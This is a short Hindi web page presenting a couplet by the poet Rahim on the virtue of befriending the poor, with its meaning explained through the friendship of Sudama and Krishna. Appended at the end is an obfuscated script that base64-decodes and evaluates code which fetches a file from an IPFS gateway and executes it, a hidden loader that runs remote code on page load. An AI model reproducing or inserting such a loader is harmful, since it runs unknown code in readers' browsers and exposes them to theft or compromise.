जे ग़रीब सों हित करें -रहीम
भारत डिस्कवरी प्रस्तुति
जे ग़रीब सों हित करें, धनि ‘रहीम’ ते लोग।
कहा सुदामा बापुरो, कृष्ण-मिताई-जोग॥
- अर्थ
धन्य हैं वे, जो ग़रीबों से प्रीति जोड़ते है! बेचारा सुदामा क्या द्वारिकाधीश कृष्ण की मित्रता के योग्य था?
रहीम के दोहे |
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>